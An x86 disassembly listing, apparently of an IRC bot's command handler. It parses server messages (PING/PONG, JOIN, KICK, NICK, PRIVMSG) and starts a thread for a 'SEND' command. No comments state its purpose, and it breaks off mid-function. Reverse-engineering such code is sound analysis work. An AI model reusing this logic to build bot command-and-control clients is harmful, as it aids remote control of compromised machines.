var_2AB0 = byte ptr -2AB0h
var_2998 = byte ptr -2998h
var_2918 = dword ptr -2918h
var_2914 = dword ptr -2914h
var_2910 = dword ptr -2910h
var_290C = dword ptr -290Ch
var_2908 = dword ptr -2908h
var_2904 = dword ptr -2904h
var_2900 = byte ptr -2900h
var_2880 = byte ptr -2880h
var_2780 = byte ptr -2780h
var_2680 = dword ptr -2680h
var_267C = dword ptr -267Ch
var_2678 = dword ptr -2678h
var_2674 = dword ptr -2674h
var_2670 = dword ptr -2670h
var_266C = dword ptr -266Ch
var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
var_2660 = dword ptr -2660h
var_265C = dword ptr -265Ch
var_2658 = byte ptr -2658h
var_25D8 = byte ptr -25D8h
var_24D8 = byte ptr -24D8h
var_23D8 = dword ptr -23D8h
var_23D4 = dword ptr -23D4h
var_23D0 = dword ptr -23D0h
var_23CC = dword ptr -23CCh
var_23C8 = dword ptr -23C8h
var_23C4 = dword ptr -23C4h
var_23C0 = dword ptr -23C0h
var_23BC = dword ptr -23BCh
var_23B8 = dword ptr -23B8h
var_23B4 = dword ptr -23B4h
var_23B0 = byte ptr -23B0h
var_2330 = byte ptr -2330h
var_22B0 = byte ptr -22B0h
var_2230 = dword ptr -2230h
var_222C = dword ptr -222Ch
var_2228 = dword ptr -2228h
var_2224 = dword ptr -2224h
var_2220 = dword ptr -2220h
var_221C = byte ptr -221Ch
var_219C = byte ptr -219Ch
var_211C = byte ptr -211Ch
var_209C = dword ptr -209Ch
var_2098 = dword ptr -2098h
var_2094 = dword ptr -2094h
var_2090 = dword ptr -2090h
var_208C = dword ptr -208Ch
var_2088 = byte ptr -2088h
var_2008 = byte ptr -2008h
var_1F88 = byte ptr -1F88h
var_1F08 = dword ptr -1F08h
var_1F04 = dword ptr -1F04h
var_1F00 = dword ptr -1F00h
var_1EFC = dword ptr -1EFCh
var_1EF8 = dword ptr -1EF8h
var_1EF4 = byte ptr -1EF4h
var_1DF4 = byte ptr -1DF4h
var_1D74 = dword ptr -1D74h
var_1D6C = dword ptr -1D6Ch
var_1D68 = dword ptr -1D68h
var_1D64 = dword ptr -1D64h
var_1D60 = dword ptr -1D60h
var_1D5C = dword ptr -1D5Ch
var_1D58 = dword ptr -1D58h
var_1D50 = byte ptr -1D50h
var_1D3C = byte ptr -1D3Ch
var_1C38 = byte ptr -1C38h
var_1BB4 = dword ptr -1BB4h
var_1BB0 = dword ptr -1BB0h
var_1BAC = dword ptr -1BACh
var_1BA8 = dword ptr -1BA8h
var_1BA4 = dword ptr -1BA4h
var_1B9C = byte ptr -1B9Ch
var_1B88 = byte ptr -1B88h
var_1A84 = byte ptr -1A84h
var_1A04 = dword ptr -1A04h
var_1A00 = dword ptr -1A00h
var_19FC = dword ptr -19FCh
var_19F8 = dword ptr -19F8h
var_19F4 = dword ptr -19F4h
var_19F0 = dword ptr -19F0h
var_19EC = byte ptr -19ECh
var_196C = byte ptr -196Ch
var_192C = byte ptr -192Ch
var_182C = dword ptr -182Ch
var_1828 = dword ptr -1828h
var_181C = dword ptr -181Ch
var_1818 = dword ptr -1818h
var_1814 = dword ptr -1814h
var_1810 = byte ptr -1810h
var_17D8 = byte ptr -17D8h
var_17A0 = byte ptr -17A0h
var_1784 = byte ptr -1784h
var_1780 = byte ptr -1780h
var_1700 = byte ptr -1700h
var_16C0 = byte ptr -16C0h
var_1630 = dword ptr -1630h
var_162C = dword ptr -162Ch
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = dword ptr -1620h
var_161C = byte ptr -161Ch
var_159C = byte ptr -159Ch
var_151C = dword ptr -151Ch
var_1518 = dword ptr -1518h
var_1514 = dword ptr -1514h
var_1510 = dword ptr -1510h
var_150C = byte ptr -150Ch
var_14FC = byte ptr -14FCh
var_147C = byte ptr -147Ch
var_13FC = dword ptr -13FCh
var_13F4 = dword ptr -13F4h
var_13F0 = dword ptr -13F0h
var_13EC = dword ptr -13ECh
var_13E8 = dword ptr -13E8h
var_13E4 = dword ptr -13E4h
var_13E0 = dword ptr -13E0h
var_13DC = byte ptr -13DCh
var_135C = byte ptr -135Ch
var_12DC = byte ptr -12DCh
var_125C = dword ptr -125Ch
var_1258 = dword ptr -1258h
var_1254 = dword ptr -1254h
var_1250 = dword ptr -1250h
var_124C = dword ptr -124Ch
var_1248 = dword ptr -1248h
var_1244 = dword ptr -1244h
var_1240 = dword ptr -1240h
var_1238 = byte ptr -1238h
var_11B8 = byte ptr -11B8h
var_1138 = dword ptr -1138h
var_1134 = dword ptr -1134h
var_1130 = dword ptr -1130h
var_1128 = dword ptr -1128h
var_1124 = dword ptr -1124h
var_1120 = dword ptr -1120h
var_1118 = dword ptr -1118h
var_1114 = byte ptr -1114h
var_1094 = byte ptr -1094h
var_1014 = dword ptr -1014h
var_1010 = dword ptr -1010h
var_100C = dword ptr -100Ch
var_1004 = dword ptr -1004h
var_1000 = dword ptr -1000h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = byte ptr -0FF0h
var_F70 = dword ptr -0F70h
var_F6C = dword ptr -0F6Ch
var_F68 = dword ptr -0F68h
var_F64 = dword ptr -0F64h
var_F60 = dword ptr -0F60h
var_F5C = byte ptr -0F5Ch
var_EDC = dword ptr -0EDCh
var_ED8 = dword ptr -0ED8h
var_ED4 = dword ptr -0ED4h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = byte ptr -0EC8h
var_E48 = dword ptr -0E48h
var_E44 = dword ptr -0E44h
var_E40 = dword ptr -0E40h
var_E3C = dword ptr -0E3Ch
var_E38 = byte ptr -0E38h
var_DB8 = byte ptr -0DB8h
var_D98 = byte ptr -0D98h
var_D88 = dword ptr -0D88h
var_D84 = byte ptr -0D84h
var_D04 = byte ptr -0D04h
var_C84 = dword ptr -0C84h
var_C80 = dword ptr -0C80h
var_C7C = dword ptr -0C7Ch
var_C78 = dword ptr -0C78h
var_C74 = dword ptr -0C74h
var_C70 = dword ptr -0C70h
var_C6C = dword ptr -0C6Ch
var_C68 = dword ptr -0C68h
var_C64 = dword ptr -0C64h
var_C60 = dword ptr -0C60h
var_C5C = byte ptr -0C5Ch
var_BDC = dword ptr -0BDCh
var_BD8 = dword ptr -0BD8h
var_BD4 = dword ptr -0BD4h
var_BD0 = dword ptr -0BD0h
var_BCC = byte ptr -0BCCh
var_B4C = dword ptr -0B4Ch
var_B48 = dword ptr -0B48h
var_B44 = dword ptr -0B44h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = byte ptr -0B34h
var_AB4 = dword ptr -0AB4h
var_AB0 = dword ptr -0AB0h
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = byte ptr -0A9Ch
var_A1C = dword ptr -0A1Ch
var_A18 = dword ptr -0A18h
var_A14 = dword ptr -0A14h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = byte ptr -0A04h
var_984 = word ptr -984h
var_980 = dword ptr -980h
var_978 = dword ptr -978h
var_974 = dword ptr -974h
var_970 = dword ptr -970h
var_968 = byte ptr -968h
var_907 = byte ptr -907h
var_906 = byte ptr -906h
var_904 = byte ptr -904h
var_903 = byte ptr -903h
var_8FA = byte ptr -8FAh
var_8F8 = byte ptr -8F8h
var_8F6 = byte ptr -8F6h
var_8F5 = byte ptr -8F5h
var_868 = byte ptr -868h
var_858 = byte ptr -858h
var_7D8 = byte ptr -7D8h
var_758 = dword ptr -758h
var_754 = dword ptr -754h
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_73C = dword ptr -73Ch
var_738 = dword ptr -738h
var_730 = dword ptr -730h
var_72C = dword ptr -72Ch
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_71C = dword ptr -71Ch
var_718 = byte ptr -718h
var_698 = dword ptr -698h
var_690 = dword ptr -690h
var_68C = dword ptr -68Ch
var_688 = dword ptr -688h
var_680 = dword ptr -680h
var_67C = dword ptr -67Ch
var_678 = dword ptr -678h
var_670 = dword ptr -670h
var_644 = dword ptr -644h
var_640 = word ptr -640h
var_62C = dword ptr -62Ch
var_628 = byte ptr -628h
var_5A8 = byte ptr -5A8h
var_598 = dword ptr -598h
var_594 = dword ptr -594h
var_58C = dword ptr -58Ch
var_588 = dword ptr -588h
var_584 = dword ptr -584h
var_57C = dword ptr -57Ch
var_578 = byte ptr -578h
var_4F8 = dword ptr -4F8h
var_4F4 = dword ptr -4F4h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E0 = dword ptr -4E0h
var_4DC = dword ptr -4DCh
var_4D8 = dword ptr -4D8h
Drive = byte ptr -4D0h
var_4C4 = byte ptr -4C4h
var_48C = byte ptr -48Ch
var_47C = byte ptr -47Ch
var_3FC = byte ptr -3FCh
var_37C = dword ptr -37Ch
var_378 = dword ptr -378h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_360 = dword ptr -360h
var_35C = dword ptr -35Ch
var_354 = dword ptr -354h
var_350 = dword ptr -350h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
Dest = byte ptr -340h
var_324 = word ptr -324h
var_322 = word ptr -322h
var_320 = dword ptr -320h
var_314 = byte ptr -314h
Count = dword ptr -310h
var_304 = byte ptr -304h
var_300 = byte ptr -300h
var_2FC = dword ptr -2FCh
var_2F0 = byte ptr -2F0h
var_2EC = byte ptr -2ECh
var_2EB = byte ptr -2EBh
var_2EA = byte ptr -2EAh
var_2E0 = dword ptr -2E0h
var_2DC = dword ptr -2DCh
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
Dst = byte ptr -2D0h
var_D0 = byte ptr -0D0h
File = dword ptr -0B8h
SubStr = byte ptr -0B4h
var_A8 = byte ptr -0A8h
var_A7 = byte ptr -0A7h
var_A6 = byte ptr -0A6h
Str2 = dword ptr -0A4h
Args = byte ptr -0A0h
Format = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_64 = byte ptr -64h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
Source = dword ptr 18h
arg_14 = dword ptr 1Ch
Str1 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov eax, 5D90h
lea ebp, [esp-4Ch]
call __alloca_probe
push ebx
push esi
xor ebx, ebx
mov esi, 200h
push esi ; Size
lea eax, [ebp+4Ch+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+4Ch+var_20], 3
mov [ebp+4Ch+var_1C], ebx
mov [ebp+4Ch+var_14], ebx
mov [ebp+4Ch+var_C], ebx
mov [ebp+4Ch+var_4], ebx
mov [ebp+4Ch+var_8], ebx
call _memset
push 1Bh ; Count
push [ebp+4Ch+Source] ; Source
lea eax, [ebp+4Ch+Dest]
push eax ; Dest
call _strncpy
add esp, 18h
cmp [ebp+4Ch+arg_0], ebx
jnz short loc_4027AA
xor eax, eax
inc eax
jmp loc_402B96
; ---------------------------------------------------------------------------
loc_4027AA: ; CODE XREF: sub_40274D+53j
push edi
push esi ; Size
lea eax, [ebp+4Ch+var_4590]
push ebx ; Val
push eax ; Dst
call _memset
mov esi, 1FFh
push esi ; Count
push [ebp+4Ch+arg_0] ; Source
lea eax, [ebp+4Ch+var_4590]
push eax ; Dest
call _strncpy
lea eax, [ebp+4Ch+var_4590]
push offset SubStr ; " :"
push eax ; Str
call _strstr
mov [ebp+4Ch+var_18], eax
push esi ; Count
lea eax, [ebp+4Ch+var_4590]
push eax ; Source
lea eax, [ebp+4Ch+Str]
push eax ; Dest
call _strncpy
mov esi, offset asc_42FE58 ; " "
lea eax, [ebp+4Ch+Str]
push esi ; Delim
push eax ; Str
call _strtok
xor edi, edi
add esp, 34h
mov [ebp+4Ch+Str2], eax
inc edi
loc_402811: ; CODE XREF: sub_40274D+D5j
push esi ; Delim
push ebx ; Str
call _strtok
mov [ebp+edi*4+4Ch+Str2], eax
inc edi
cmp edi, 20h
pop ecx
pop ecx
jl short loc_402811
mov esi, [ebp+4Ch+Str2]
cmp esi, ebx
jz loc_402B92
cmp dword ptr [ebp+4Ch+Args], ebx
jz loc_402B92
push 100h ; Size
lea eax, [ebp+4Ch+var_968]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push 1Fh
pop edx
loc_402850: ; CODE XREF: sub_40274D+131j
lea ecx, [ebp+edx*4+4Ch+Str2]
mov eax, [ecx]
cmp eax, ebx
jz short loc_40287D
cmp byte ptr [eax], 2Dh
jnz short loc_402880
cmp [eax+2], bl
jnz short loc_402880
movsx esi, byte ptr [eax+1]
mov [ebp+esi+4Ch+var_968], 1
mov [eax], bl
mov [eax+1], bl
mov [ecx], ebx
mov esi, [ebp+4Ch+Str2]
mov [eax+2], bl
loc_40287D: ; CODE XREF: sub_40274D+10Bj
dec edx
jns short loc_402850
loc_402880: ; CODE XREF: sub_40274D+110j
; sub_40274D+115j
xor edi, edi
inc edi
cmp [ebp+4Ch+var_8F5], bl
jz short loc_40288E
mov [ebp+4Ch+var_C], edi
loc_40288E: ; CODE XREF: sub_40274D+13Cj
cmp [ebp+4Ch+var_8FA], bl
jz short loc_40289C
mov [ebp+4Ch+var_C], ebx
mov [ebp+4Ch+var_4], edi
loc_40289C: ; CODE XREF: sub_40274D+147j
cmp byte ptr [esi], 0Ah
jz short loc_4028D6
push 7Fh ; Count
lea eax, [ebp+4Ch+var_E38]
push esi ; Source
push eax ; Dest
call _strncpy
push 17h ; Count
lea eax, [esi+1]
push eax ; Source
lea eax, [ebp+4Ch+var_D0]
push eax ; Dest
call _strncpy
lea eax, [ebp+4Ch+var_D0]
push offset Delim ; "!"
push eax ; Str
call _strtok
add esp, 20h
loc_4028D6: ; CODE XREF: sub_40274D+152j
push esi ; Str2
push offset Str1 ; "PING"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_402922
push dword ptr [ebp+4Ch+Args] ; Args
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
mov eax, [ebp+4Ch+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz short loc_40291B
push [ebp+4Ch+arg_C]
push [ebp+4Ch+arg_8] ; Args
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
add esp, 10h
loc_40291B: ; CODE XREF: sub_40274D+1B6j
; sub_40274D+224j ...
mov eax, edi
jmp loc_402B95
; ---------------------------------------------------------------------------
loc_402922: ; CODE XREF: sub_40274D+198j
mov esi, dword ptr [ebp+4Ch+Args]
push esi ; Str2
push offset a001 ; "001"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40A21D
push esi ; Str2
push offset a005 ; "005"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40A21D
push esi ; Str2
push offset a302_0 ; "302"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_402987
push offset a@ ; "@"
push [ebp+4Ch+var_98] ; Str
call _strstr
cmp eax, ebx
pop ecx
pop ecx
jz short loc_40291B
push 9Fh ; Count
inc eax
push eax ; Source
push [ebp+4Ch+arg_1C] ; Dest
call _strncpy
add esp, 0Ch
jmp short loc_40291B
; ---------------------------------------------------------------------------
loc_402987: ; CODE XREF: sub_40274D+211j
push esi ; Str2
push offset a433 ; "433"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_4029C5
push ebx ; Str1
push dword_43C098 ; int
push dword_43C094 ; int
push [ebp+4Ch+Source] ; Dest
call sub_40AB83
push [ebp+4Ch+Source] ; Args
push offset aNickS ; "NICK %s\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
add esp, 1Ch
jmp loc_40291B
; ---------------------------------------------------------------------------
loc_4029C5: ; CODE XREF: sub_40274D+249j
mov esi, [ebp+4Ch+Str1]
mov [ebp+4Ch+var_24], 3
mov edi, 80h
loc_4029D4: ; CODE XREF: sub_40274D+2A6j
lea eax, [ebp+4Ch+var_E38]
push eax ; Str2
push esi ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_4029EE
mov [ebp+4Ch+var_14], 1
loc_4029EE: ; CODE XREF: sub_40274D+298j
add esi, edi
dec [ebp+4Ch+var_24]
jnz short loc_4029D4
mov esi, dword ptr [ebp+4Ch+Args]
push esi ; Str2
push offset aKick ; "KICK"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_402AC4
mov esi, [ebp+4Ch+Str1]
mov [ebp+4Ch+arg_0], 3
loc_402A17: ; CODE XREF: sub_40274D+343j
cmp [esi], bl
jz short loc_402A8B
push 7Fh ; Count
lea eax, [ebp+4Ch+var_E38]
push esi ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
cmp [ebp+4Ch+var_98], ebx
jz short loc_402A8B
push [ebp+4Ch+var_98] ; Str2
lea eax, [ebp+4Ch+var_D0]
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_402A8B
lea eax, [ebp+4Ch+var_D0]
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42FDE8 ; "-"
push eax ; Dest
mov [esi], bl
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax
lea eax, [ebp+4Ch+var_D0]
push eax ; Args
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
lea eax, [ebp+4Ch+Dst]
push eax
call sub_417D70
add esp, 20h
loc_402A8B: ; CODE XREF: sub_40274D+2CCj
; sub_40274D+2E3j ...
add esi, edi
dec [ebp+4Ch+arg_0]
jnz short loc_402A17
push [ebp+4Ch+var_98] ; Str2
push [ebp+4Ch+Source] ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_402B92
push [ebp+4Ch+arg_C]
mov eax, [ebp+4Ch+arg_20]
push [ebp+4Ch+arg_8] ; Args
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_402AB7: ; CODE XREF: sub_40274D+58Aj
; sub_40274D+7FCj ...
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
jmp loc_404D0F
; ---------------------------------------------------------------------------
loc_402AC4: ; CODE XREF: sub_40274D+2BAj
push esi ; Str2
push offset aNick ; "NICK"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_402BFD
mov eax, [ebp+4Ch+Format]
mov esi, [ebp+4Ch+Str1]
inc eax
mov [ebp+4Ch+arg_0], eax
mov [ebp+4Ch+var_20], 3
loc_402AEA: ; CODE XREF: sub_40274D+3EFj
lea eax, [ebp+4Ch+var_E38]
push eax ; Str2
push esi ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_402B37
lea eax, [ebp+4Ch+var_E38]
push 21h ; Val
push eax ; Str
call _strchr
cmp eax, ebx
pop ecx
pop ecx
mov [ebp+4Ch+var_14], eax
jz short loc_402B37
push [ebp+4Ch+arg_0] ; Source
lea edi, [esi+2]
lea eax, [edi-1]
push eax ; Dest
mov byte ptr [esi], 3Ah
call _strcpy
push [ebp+4Ch+var_14] ; Source
push edi ; Dest
call _strcat
add esp, 10h
mov edi, 80h
loc_402B37: ; CODE XREF: sub_40274D+3AEj
; sub_40274D+3C5j
add esi, edi
dec [ebp+4Ch+var_20]
jnz short loc_402AEA
cmp [ebp+4Ch+arg_0], ebx
jz short loc_402B92
push [ebp+4Ch+Source] ; Str2
lea eax, [ebp+4Ch+var_D0]
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_402B6A
push 0Fh ; Count
push [ebp+4Ch+arg_0] ; Source
push [ebp+4Ch+Source] ; Dest
call _strncpy
jmp loc_404199
; ---------------------------------------------------------------------------
loc_402B6A: ; CODE XREF: sub_40274D+409j
mov edi, [ebp+4Ch+Str1]
xor esi, esi
loc_402B6F: ; CODE XREF: sub_40274D+443j
cmp [edi], bl
jz short loc_402B86
lea eax, [ebp+4Ch+var_E38]
push eax ; Str2
push edi ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_402B9D
loc_402B86: ; CODE XREF: sub_40274D+424j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_402B6F
loc_402B92: ; CODE XREF: sub_40274D+DCj
; sub_40274D+E5j ...
xor eax, eax
inc eax
loc_402B95: ; CODE XREF: sub_40274D+1D0j
; sub_40274D+222Fj ...
pop edi
loc_402B96: ; CODE XREF: sub_40274D+58j
pop esi
pop ebx
add ebp, 4Ch
leave
retn
; ---------------------------------------------------------------------------
loc_402B9D: ; CODE XREF: sub_40274D+437j
lea eax, [ebp+4Ch+var_E38]
push 21h ; Val
push eax ; Str
call _strchr
cmp eax, ebx
pop ecx
pop ecx
mov [ebp+4Ch+var_20], eax
jz short loc_402B92
push eax ; Str
call _strlen
push [ebp+4Ch+arg_0] ; Str
mov edi, eax
call _strlen
add edi, eax
cmp edi, 7Eh
pop ecx
pop ecx
ja short loc_402B92
push [ebp+4Ch+var_20]
shl esi, 7
push [ebp+4Ch+arg_0]
add esi, [ebp+4Ch+Str1]
push offset aSS_1 ; ":%s%s"
push esi ; Dest
call _sprintf
push ebx ; int
push ebx ; int
lea eax, [ebp+4Ch+var_45F4]
push eax ; int
push [ebp+4Ch+arg_8] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 24h
jmp short loc_402B92
; ---------------------------------------------------------------------------
loc_402BFD: ; CODE XREF: sub_40274D+386j
push esi ; Str2
push offset aPart ; "PART"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_402C1F
push esi ; Str2
push offset aQuit ; "QUIT"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_402C43
loc_402C1F: ; CODE XREF: sub_40274D+4BFj
mov edi, [ebp+4Ch+Str1]
xor esi, esi
loc_402C24: ; CODE XREF: sub_40274D+4F4j
cmp [edi], bl
jz short loc_402C37
push [ebp+4Ch+Str2] ; Str2
push edi ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_402C81
loc_402C37: ; CODE XREF: sub_40274D+4D9j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_402C24
loc_402C43: ; CODE XREF: sub_40274D+4D0j
push dword ptr [ebp+4Ch+Args] ; Str2
push offset a353 ; "353"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_402CDC
push [ebp+4Ch+var_94] ; Str2
push [ebp+4Ch+arg_8] ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_402C74
mov eax, [ebp+4Ch+arg_20]
mov dword ptr [eax], 1
loc_402C74: ; CODE XREF: sub_40274D+51Cj
push [ebp+4Ch+var_94]
push offset unk_42FD94
jmp loc_40A211
; ---------------------------------------------------------------------------
loc_402C81: ; CODE XREF: sub_40274D+4E8j
mov eax, [ebp+4Ch+Str1]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+4Ch+var_D0]
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42FD70 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax
call sub_417D70
push dword ptr [ebp+4Ch+Args] ; Str2
push offset aPart ; "PART"
call _strcmp
add esp, 18h
test eax, eax
jnz loc_402B92
lea eax, [ebp+4Ch+Dst]
push eax
mov eax, [ebp+4Ch+Str2]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_402AB7
; ---------------------------------------------------------------------------
loc_402CDC: ; CODE XREF: sub_40274D+507j
push dword ptr [ebp+4Ch+Args] ; Str2
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
mov edi, offset Str ; "NOTICE"
jz short loc_402D27
push dword ptr [ebp+4Ch+Args] ; Str2
push edi ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_402D27
push dword ptr [ebp+4Ch+Args] ; Str2
push offset a332 ; "332"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_404979
cmp dword_43C084, ebx
jz loc_404979
loc_402D27: ; CODE XREF: sub_40274D+5A6j
; sub_40274D+5B5j
push dword ptr [ebp+4Ch+Args] ; Str2
push esi ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_402E83
push dword ptr [ebp+4Ch+Args] ; Str2
push edi ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_402E83
mov eax, [ebp+4Ch+var_98]
inc [ebp+4Ch+var_94]
mov [ebp+4Ch+var_20], 4
mov [ebp+4Ch+Format], eax
loc_402D5D: ; CODE XREF: sub_40274D+7D7j
; sub_40274D+810j ...
mov esi, [ebp+4Ch+var_20]
shl esi, 2
lea edi, [ebp+esi+4Ch+Str2]
mov eax, [edi]
push eax ; Str2
push offset dword_42FD64 ; Str1
mov [ebp+4Ch+var_10], eax
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_4030EC
push dword ptr [ebp+esi+4Ch+Args] ; Str2
push offset aSend_0 ; "SEND"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_402FC0
cmp [ebp+4Ch+var_14], ebx
jz loc_402F9C
push [ebp+esi+4Ch+Format]
mov edi, offset aS ; "%s"
lea eax, [ebp+4Ch+var_1B88]
push edi ; Format
push eax ; Dest
call _sprintf
push [ebp+esi+4Ch+var_98]
lea eax, [ebp+4Ch+var_1B9C]
push edi ; Format
push eax ; Dest
call _sprintf
push [ebp+esi+4Ch+var_94] ; Str
call j__atol
mov [ebp+4Ch+var_1A04], eax
mov eax, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_1BA4], eax
push 7Fh ; Count
lea eax, [ebp+4Ch+var_D0]
push eax ; Source
lea eax, [ebp+4Ch+var_1A84]
push eax ; Dest
call _strncpy
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_19FC], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_19F8], eax
lea eax, [ebp+4Ch+var_1A84]
push eax
lea eax, [ebp+4Ch+var_1B88]
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42FD2C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 1Ah ; int
push eax ; Source
call sub_40AE85
add esp, 44h
mov [ebp+4Ch+var_1A00], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_1BA4]
push eax
push offset sub_418CEA
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_1A00]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz loc_402F8F
loc_402E72: ; CODE XREF: sub_40274D+7473j
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42FCF0
jmp loc_408D01
; ---------------------------------------------------------------------------
loc_402E83: ; CODE XREF: sub_40274D+5E7j
; sub_40274D+5FAj
push dword ptr [ebp+4Ch+Args] ; Str2
push edi ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_402E99
mov [ebp+4Ch+var_4], 1
loc_402E99: ; CODE XREF: sub_40274D+743j
cmp [ebp+4Ch+Format], ebx
jz loc_402B92
push offset asc_42FCEC ; "#"
push [ebp+4Ch+Format] ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_402EBA
cmp [ebp+4Ch+var_4], ebx
jz short loc_402EC3
loc_402EBA: ; CODE XREF: sub_40274D+766j
lea eax, [ebp+4Ch+var_D0]
mov [ebp+4Ch+Format], eax
loc_402EC3: ; CODE XREF: sub_40274D+76Bj
cmp [ebp+4Ch+var_98], ebx
jz loc_402B92
inc [ebp+4Ch+var_98]
jz short loc_402F01
cmp [ebp+4Ch+Source], ebx
jz short loc_402F01
lea eax, [ebp+4Ch+Dest]
push eax ; Str
call _strlen
push eax ; MaxCount
push [ebp+4Ch+var_98] ; Str2
lea eax, [ebp+4Ch+Dest]
push eax ; Str1
call _strncmp
add esp, 10h
neg eax
sbb eax, eax
add eax, 4
mov [ebp+4Ch+var_20], eax
jmp short loc_402F04
; ---------------------------------------------------------------------------
loc_402F01: ; CODE XREF: sub_40274D+782j
; sub_40274D+787j
mov eax, [ebp+4Ch+var_20]
loc_402F04: ; CODE XREF: sub_40274D+7B2j
mov esi, eax
shl esi, 2
mov edi, [ebp+esi+4Ch+Str2]
cmp edi, ebx
jz loc_402B92
push edi ; Str2
push offset dword_42FCE0 ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_402D5D
mov ecx, [ebp+4Ch+Format]
cmp byte ptr [ecx], 23h
jz short loc_402F4E
mov eax, dword_4D1FE0
mov eax, off_43C160[eax*4]
cmp [eax], bl
jz short loc_402F4E
push eax
push ecx
push offset dword_42FCC4
jmp loc_402AB7
; ---------------------------------------------------------------------------
loc_402F4E: ; CODE XREF: sub_40274D+7E3j
; sub_40274D+7F3j
push edi ; Str2
push offset dword_42FCBC ; Str1
call _strcmp
test eax, eax
